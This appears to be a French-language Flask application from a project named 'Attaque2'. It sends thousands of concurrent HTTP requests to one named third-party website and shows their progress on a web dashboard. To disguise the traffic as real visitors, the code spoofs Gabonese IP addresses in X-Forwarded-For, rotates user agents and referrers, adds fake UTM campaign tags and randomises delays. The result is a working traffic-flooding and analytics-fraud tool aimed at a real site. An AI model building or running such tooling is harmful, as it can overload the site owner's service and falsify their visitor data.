Attaque2 / app.py
Docfile's picture
Update app.py
4a102e1 verified
raw
history blame
35.3 kB
from flask import Flask, render_template, request, jsonify, redirect, url_for
import asyncio
import aiohttp
import os
import json
import time
import random
import string
from datetime import datetime
import multiprocessing
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from threading import Lock
import logging
import sys
from functools import partial
from jinja2 import Undefined # Pour gérer les valeurs Undefined
# Définition d'une fonction pour convertir les objets Undefined en chaîne vide
def default_json(o):
if isinstance(o, Undefined):
return ''
raise TypeError(f"Object of type {type(o).__name__} is not JSON serializable")
# Configuration du logger
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.StreamHandler(sys.stdout),
logging.FileHandler('website_requester.log')
]
)
logger = logging.getLogger('website_requester')
app = Flask(__name__)
# Définir un encodeur JSON personnalisé pour Flask
from flask.json import JSONEncoder
class CustomJSONEncoder(JSONEncoder):
def default(self, obj):
if isinstance(obj, Undefined):
return ''
return super().default(obj)
app.json_encoder = CustomJSONEncoder
# Variables globales pour stocker l'état, utilisation d'un gestionnaire multiprocessing
manager = multiprocessing.Manager()
requests_in_progress = manager.Value('b', False)
progress_counter = manager.Value('i', 0)
total_requests = manager.Value('i', 0)
requests_being_made = manager.list()
requests_lock = manager.Lock() # Pour sécuriser l'accès aux données partagées
process_pool = None
background_tasks = []
# Paramètres avancés
MAX_CONNECTIONS = 1000 # Nombre maximal de connexions simultanées
SAVE_FREQUENCY = 100 # Fréquence de sauvegarde des résultats (tous les X requêtes)
CHUNK_SIZE = 5000 # Nombre de requêtes à traiter par processus
MAX_RETRIES = 5 # Nombre maximum de tentatives pour chaque opération
RETRY_DELAY = 0.5 # Délai entre les tentatives en secondes
REQUESTS_FILE = "requetes_gabaohub.json"
IP_ROTATION_COUNT = 50 # Rotation des IP après ce nombre de requêtes
REQUEST_TIMEOUT = 15 # Timeout des requêtes en secondes
def generate_gabonese_ip():
"""Génère une adresse IP du Gabon (plage 41.158.0.0/16)"""
return f"41.158.{random.randint(0, 255)}.{random.randint(1, 254)}"
def get_random_user_agent():
"""Retourne un User-Agent aléatoire parmi les plus courants"""
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
]
return random.choice(user_agents)
def get_random_referrer():
"""Retourne un référent aléatoire plausible"""
referrers = [
"https://www.google.com/",
"https://www.bing.com/",
"https://www.yahoo.com/",
"https://duckduckgo.com/",
"https://www.facebook.com/",
"https://twitter.com/",
"https://www.linkedin.com/",
"https://www.instagram.com/",
"https://www.gabon.ga/",
"https://www.gov.ga/",
"https://www.youtube.com/",
"", # Aucun référent (accès direct)
]
return random.choice(referrers)
async def with_retries(func, *args, max_retries=MAX_RETRIES, **kwargs):
"""Exécute une fonction avec plusieurs tentatives en cas d'échec"""
for attempt in range(max_retries):
try:
return await func(*args, **kwargs)
except Exception as e:
if attempt == max_retries - 1:
logger.error(f"Échec définitif après {max_retries} tentatives: {str(e)}")
raise
delay = RETRY_DELAY * (2 ** attempt) # Backoff exponentiel
logger.warning(f"Tentative {attempt+1} échouée: {str(e)}. Nouvel essai dans {delay:.2f}s")
await asyncio.sleep(delay)
async def create_session(request_counter):
"""Crée une session HTTP optimisée avec rotation d'IP"""
connector = aiohttp.TCPConnector(
limit=MAX_CONNECTIONS,
ssl=False,
force_close=False,
use_dns_cache=True,
ttl_dns_cache=300
)
timeout = aiohttp.ClientTimeout(
total=REQUEST_TIMEOUT,
connect=10,
sock_connect=10,
sock_read=10
)
session = aiohttp.ClientSession(
connector=connector,
timeout=timeout,
headers={
"User-Agent": get_random_user_agent(),
"X-Forwarded-For": generate_gabonese_ip(),
"Referer": get_random_referrer(),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
)
# Middleware pour la rotation des IP, User-Agent et référents
original_request = session._request
async def request_middleware(method, url, **kwargs):
nonlocal request_counter
if request_counter.value % IP_ROTATION_COUNT == 0:
kwargs.setdefault('headers', {}).update({
"X-Forwarded-For": generate_gabonese_ip(),
"User-Agent": get_random_user_agent(),
"Referer": get_random_referrer()
})
request_counter.value += 1
return await original_request(method, url, **kwargs)
session._request = request_middleware
return session
async def make_homepage_request(session, request_index, request_counter):
"""Effectue une requête vers la page d'accueil"""
global requests_being_made
try:
url = "https://gabaohub.alwaysdata.net"
params = {}
if random.random() < 0.3:
utm_sources = ["facebook", "twitter", "instagram", "direct", "google", "bing"]
utm_mediums = ["social", "cpc", "email", "referral", "organic"]
utm_campaigns = ["spring_promo", "launch", "awareness", "brand", "product"]
params["utm_source"] = random.choice(utm_sources)
params["utm_medium"] = random.choice(utm_mediums)
params["utm_campaign"] = random.choice(utm_campaigns)
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["url"] = url
requests_being_made[request_index]["params"] = params
requests_being_made[request_index]["status"] = "in_progress"
requests_being_made[request_index]["start_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
try:
start_time = time.time()
async with session.get(url, params=params, allow_redirects=True) as response:
content = await response.read()
end_time = time.time()
response_time = end_time - start_time
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "success"
requests_being_made[request_index]["status_code"] = response.status
requests_being_made[request_index]["response_time"] = round(response_time, 3)
requests_being_made[request_index]["content_length"] = len(content)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
except Exception as e:
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "failed"
requests_being_made[request_index]["error"] = str(e)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
except Exception as e:
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "failed"
requests_being_made[request_index]["error"] = str(e)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
async def process_request_chunk(start_index, chunk_size, process_id=0):
"""Traite un groupe de requêtes dans un processus séparé"""
logger.info(f"Processus {process_id}: Démarrage du traitement pour les indices {start_index} à {start_index+chunk_size-1}")
request_counter = multiprocessing.Value('i', 0)
async with await create_session(request_counter) as session:
semaphore = asyncio.Semaphore(MAX_CONNECTIONS // multiprocessing.cpu_count())
async def process_request(i):
request_index = start_index + i
if request_index >= total_requests.value:
return
async with semaphore:
await make_homepage_request(session, request_index, request_counter)
await asyncio.sleep(random.uniform(0.2, 2.0))
if progress_counter.value % SAVE_FREQUENCY == 0:
save_results_to_file()
tasks = [process_request(i) for i in range(min(chunk_size, total_requests.value - start_index))]
await asyncio.gather(*tasks)
logger.info(f"Processus {process_id}: Traitement terminé pour le chunk commençant à l'indice {start_index}")
def save_results_to_file():
"""Sauvegarde l'état actuel dans un fichier JSON de manière thread-safe"""
with requests_lock:
try:
data_to_save = list(requests_being_made)
temp_file = f"{REQUESTS_FILE}.tmp"
with open(temp_file, "w", encoding="utf-8") as f:
json.dump(data_to_save, f, indent=2, ensure_ascii=False, default=default_json)
os.replace(temp_file, REQUESTS_FILE)
logger.info(f"Sauvegarde effectuée: {progress_counter.value}/{total_requests.value} requêtes")
except Exception as e:
logger.error(f"Erreur lors de la sauvegarde: {str(e)}")
def run_request_process(start_index, chunk_size, process_id):
"""Fonction exécutée dans chaque processus pour effectuer des requêtes"""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(process_request_chunk(start_index, chunk_size, process_id))
loop.close()
except Exception as e:
logger.error(f"Erreur dans le processus {process_id}: {str(e)}")
def start_request_process(num_requests, concurrency):
"""Démarre le processus d'envoi de requêtes avec multiprocessing"""
global requests_in_progress, total_requests, progress_counter, requests_being_made, process_pool, background_tasks
with requests_lock:
progress_counter.value = 0
total_requests.value = num_requests
requests_being_made[:] = [{"status": "pending"} for _ in range(num_requests)]
num_cpus = multiprocessing.cpu_count()
num_processes = min(num_cpus, (num_requests + CHUNK_SIZE - 1) // CHUNK_SIZE)
logger.info(f"Démarrage de l'envoi de {num_requests} requêtes avec {num_processes} processus et concurrence de {concurrency}")
process_pool = ProcessPoolExecutor(max_workers=num_processes)
background_tasks = []
for i in range(num_processes):
start_idx = i * CHUNK_SIZE
if start_idx < num_requests:
task = process_pool.submit(
run_request_process,
start_idx,
min(CHUNK_SIZE, num_requests - start_idx),
i
)
background_tasks.append(task)
monitor_thread = ThreadPoolExecutor(max_workers=1)
monitor_thread.submit(monitor_background_tasks)
def monitor_background_tasks():
"""Surveille les tâches en arrière-plan et marque le processus comme terminé lorsque tout est fait"""
global requests_in_progress, background_tasks
try:
for task in background_tasks:
task.result()
logger.info(f"Toutes les tâches d'envoi de requêtes sont terminées. {progress_counter.value}/{total_requests.value} requêtes traitées.")
save_results_to_file()
requests_in_progress.value = False
except Exception as e:
logger.error(f"Erreur lors de la surveillance des tâches: {str(e)}")
requests_in_progress.value = False
@app.route('/')
def index():
"""Page d'accueil"""
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
return render_template('index.html',
requests_in_progress=requests_in_progress.value,
requests=requests_data[:1000],
progress=progress_counter.value,
total=total_requests.value)
@app.route('/start', methods=['POST'])
def start_requests():
"""Démarrer l'envoi de requêtes"""
if not requests_in_progress.value:
num_requests = int(request.form.get('num_requests', 1000))
concurrency = int(request.form.get('concurrency', MAX_CONNECTIONS))
requests_in_progress.value = True
start_request_process(num_requests, concurrency)
logger.info(f"Envoi de {num_requests} requêtes lancé avec concurrence {concurrency}")
else:
logger.warning("Un processus d'envoi de requêtes est déjà en cours")
return redirect(url_for('index'))
@app.route('/progress')
def get_progress():
"""Endpoint API pour obtenir la progression complète"""
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
return jsonify({
'requests_in_progress': requests_in_progress.value,
'progress': progress_counter.value,
'total': total_requests.value,
'requests': requests_data[:200]
})
@app.route('/status')
def get_status():
"""Endpoint API simplifié pour obtenir juste la progression"""
return jsonify({
'requests_in_progress': requests_in_progress.value,
'progress': progress_counter.value,
'total': total_requests.value,
'success_count': sum(1 for req in requests_being_made if req.get('status') == 'success'),
'failed_count': sum(1 for req in requests_being_made if req.get('status') == 'failed'),
'pending_count': sum(1 for req in requests_being_made if req.get('status') == 'pending'),
})
@app.route('/reset', methods=['POST'])
def reset():
"""Réinitialise le processus et supprime les données existantes"""
global requests_in_progress, requests_being_made, progress_counter, total_requests, process_pool, background_tasks
if not requests_in_progress.value:
with requests_lock:
requests_being_made[:] = []
progress_counter.value = 0
total_requests.value = 0
if os.path.exists(REQUESTS_FILE):
os.remove(REQUESTS_FILE)
logger.info("Réinitialisation effectuée")
else:
logger.warning("Impossible de réinitialiser pendant un processus en cours")
return redirect(url_for('index'))
@app.route('/stop', methods=['POST'])
def stop_requests():
"""Arrête le processus d'envoi de requêtes en cours"""
global requests_in_progress, process_pool
if requests_in_progress.value and process_pool:
logger.info("Arrêt des processus d'envoi de requêtes...")
process_pool.shutdown(wait=False)
requests_in_progress.value = False
save_results_to_file()
logger.info("Processus d'envoi de requêtes arrêté")
return redirect(url_for('index'))
@app.route('/stats')
def get_stats():
"""Obtient des statistiques sur les requêtes effectuées"""
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
successful_requests = [req for req in requests_data if req.get('status') == 'success']
failed_requests = [req for req in requests_data if req.get('status') == 'failed']
avg_response_time = 0
if successful_requests:
avg_response_time = sum(req.get('response_time', 0) for req in successful_requests) / len(successful_requests)
status_codes = {}
for req in successful_requests:
code = req.get('status_code')
if code:
status_codes[code] = status_codes.get(code, 0) + 1
error_types = {}
for req in failed_requests:
error = req.get('error', 'Unknown')
error_type = error.split(':')[0] if ':' in error else error
error_types[error_type] = error_types.get(error_type, 0) + 1
return jsonify({
'total_requests': len(requests_data),
'successful_requests': len(successful_requests),
'failed_requests': len(failed_requests),
'avg_response_time': avg_response_time,
'status_codes': status_codes,
'error_types': error_types
})
# Template HTML pour l'interface utilisateur
@app.route('/templates/index.html')
def get_template():
return """
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Générateur de requêtes pour gabaohub.alwaysdata.net</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.status-badge {
display: inline-block;
padding: 0.25em 0.6em;
font-size: 75%;
font-weight: 700;
line-height: 1;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: 0.25rem;
}
.status-pending { background-color: #6c757d; color: white; }
.status-in_progress { background-color: #17a2b8; color: white; }
.status-success { background-color: #28a745; color: white; }
.status-failed { background-color: #dc3545; color: white; }
.refresh-icon { cursor: pointer; }
</style>
</head>
<body>
<div class="container mt-4">
<h1 class="mb-4">Générateur de requêtes pour gabaohub.alwaysdata.net</h1>
<div class="card mb-4">
<div class="card-header">
Contrôles
</div>
<div class="card-body">
<form action="/start" method="post" class="mb-3">
<div class="row mb-3">
<div class="col-md-6">
<label for="num_requests" class="form-label">Nombre de requêtes à envoyer:</label>
<input type="number" class="form-control" id="num_requests" name="num_requests" min="1" value="1000">
</div>
<div class="col-md-6">
<label for="concurrency" class="form-label">Niveau de concurrence:</label>
<input type="number" class="form-control" id="concurrency" name="concurrency" min="1" max="1000" value="100">
</div>
</div>
<button type="submit" class="btn btn-primary" id="start-button">Démarrer</button>
</form>
<div class="d-flex">
<form action="/stop" method="post" class="me-2">
<button type="submit" class="btn btn-warning" id="stop-button">Arrêter</button>
</form>
<form action="/reset" method="post">
<button type="submit" class="btn btn-danger" id="reset-button">Réinitialiser</button>
</form>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Progression</span>
<span class="refresh-icon" onclick="updateProgress()">🔄</span>
</div>
<div class="card-body">
<div class="progress mb-3">
<div id="progress-bar" class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100"></div>
</div>
<p id="progress-text">0 / 0 requêtes traitées (0%)</p>
<p id="status-text">État: Inactif</p>
<div class="row mt-4">
<div class="col-md-4">
<div class="card bg-success text-white">
<div class="card-body">
<h5 class="card-title">Réussies</h5>
<h2 id="success-count">0</h2>
</div>
</div>
</div>
<div class="col-md-4">
<div class="card bg-danger text-white">
<div class="card-body">
<h5 class="card-title">Échouées</h5>
<h2 id="failed-count">0</h2>
</div>
</div>
</div>
<div class="col-md-4">
<div class="card bg-secondary text-white">
<div class="card-body">
<h5 class="card-title">En attente</h5>
<h2 id="pending-count">0</h2>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Statistiques</span>
<span class="refresh-icon" onclick="updateStats()">🔄</span>
</div>
<div class="card-body" id="stats-container">
<p>Aucune statistique disponible.</p>
</div>
</div>
<div class="card">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Dernières requêtes</span>
<span class="refresh-icon" onclick="updateRequests()">🔄</span>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-striped">
<thead>
<tr>
<th>#</th>
<th>URL</th>
<th>Statut</th>
<th>Code</th>
<th>Temps (s)</th>
<th>Heure</th>
</tr>
</thead>
<tbody id="requests-table">
<tr>
<td colspan="6" class="text-center">Chargement des données...</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
let isPolling = false;
let pollingInterval;
window.onload = function() {
updateProgress();
updateRequests();
updateStats();
pollingInterval = setInterval(() => {
if (isPolling) {
updateProgress();
updateStats();
}
}, 5000);
};
function updateProgress() {
fetch('/status')
.then(response => response.json())
.then(data => {
const percentage = data.total > 0 ? (data.progress / data.total * 100) : 0;
document.getElementById('progress-bar').style.width = percentage + '%';
document.getElementById('progress-bar').setAttribute('aria-valuenow', percentage);
document.getElementById('progress-text').textContent =
`${data.progress} / ${data.total} requêtes traitées (${percentage.toFixed(1)}%)`;
document.getElementById('status-text').textContent =
`État: ${data.requests_in_progress ? 'En cours' : 'Inactif'}`;
document.getElementById('success-count').textContent = data.success_count;
document.getElementById('failed-count').textContent = data.failed_count;
document.getElementById('pending-count').textContent = data.pending_count;
isPolling = data.requests_in_progress;
document.getElementById('start-button').disabled = data.requests_in_progress;
document.getElementById('stop-button').disabled = !data.requests_in_progress;
document.getElementById('reset-button').disabled = data.requests_in_progress;
})
.catch(error => {
console.error('Erreur lors de la récupération de la progression:', error);
});
}
function updateRequests() {
fetch('/progress')
.then(response => response.json())
.then(data => {
const tableBody = document.getElementById('requests-table');
tableBody.innerHTML = '';
if (data.requests.length === 0) {
tableBody.innerHTML = '<tr><td colspan="6" class="text-center">Aucune requête effectuée.</td></tr>';
return;
}
data.requests.forEach((req, index) => {
const row = document.createElement('tr');
const statusClass = `status-${req.status || 'pending'}`;
row.innerHTML = `
<td>${index + 1}</td>
<td>${req.url || 'N/A'}</td>
<td><span class="status-badge ${statusClass}">${req.status || 'pending'}</span></td>
<td>${req.status_code || '-'}</td>
<td>${req.response_time || '-'}</td>
<td>${req.end_time || req.start_time || '-'}</td>
`;
tableBody.appendChild(row);
});
})
.catch(error => {
console.error('Erreur lors de la récupération des requêtes:', error);
});
}
function updateStats() {
fetch('/stats')
.then(response => response.json())
.then(data => {
const statsContainer = document.getElementById('stats-container');
let statusCodeHtml = '<div class="mt-3"><h5>Codes de statut</h5>';
if (Object.keys(data.status_codes).length > 0) {
statusCodeHtml += '<div class="row">';
for (const [code, count] of Object.entries(data.status_codes)) {
const colorClass = code.startsWith('2') ? 'success' :
code.startsWith('3') ? 'info' :
code.startsWith('4') ? 'warning' : 'danger';
statusCodeHtml += `
<div class="col-md-3 mb-2">
<div class="card bg-${colorClass} text-white">
<div class="card-body p-2 text-center">
<h5 class="card-title">${code}</h5>
<p class="card-text">${count} requêtes</p>
</div>
</div>
</div>
`;
}
statusCodeHtml += '</div>';
} else {
statusCodeHtml += '<p>Aucun code de statut disponible.</p>';
}
statusCodeHtml += '</div>';
let errorTypesHtml = '<div class="mt-3"><h5>Types d\'erreurs</h5>';
if (Object.keys(data.error_types).length > 0) {
errorTypesHtml += '<ul class="list-group">';
for (const [type, count] of Object.entries(data.error_types)) {
errorTypesHtml += `
<li class="list-group-item d-flex justify-content-between align-items-center">
${type}
<span class="badge bg-danger rounded-pill">${count}</span>
</li>
`;
}
errorTypesHtml += '</ul>';
} else {
errorTypesHtml += '<p>Aucune erreur disponible.</p>';
}
errorTypesHtml += '</div>';
statsContainer.innerHTML = `
<div class="row">
<div class="col-md-6">
<h5>Résumé</h5>
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes totales
<span class="badge bg-primary rounded-pill">${data.total_requests}</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes réussies
<span class="badge bg-success rounded-pill">${data.successful_requests}</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes échouées
<span class="badge bg-danger rounded-pill">${data.failed_requests}</span>
</li>
</ul>
</div>
<div class="col-md-6">
<h5>Performance</h5>
<div class="card">
<div class="card-body">
<h3>${data.avg_response_time.toFixed(3)} s</h3>
<p class="text-muted">Temps de réponse moyen</p>
</div>
</div>
</div>
</div>
${statusCodeHtml}
${errorTypesHtml}
`;
})
.catch(error => {
console.error('Erreur lors de la récupération des statistiques:', error);
});
}
</script>
</body>
</html>
"""
if __name__ == '__main__':
app.run(debug=True)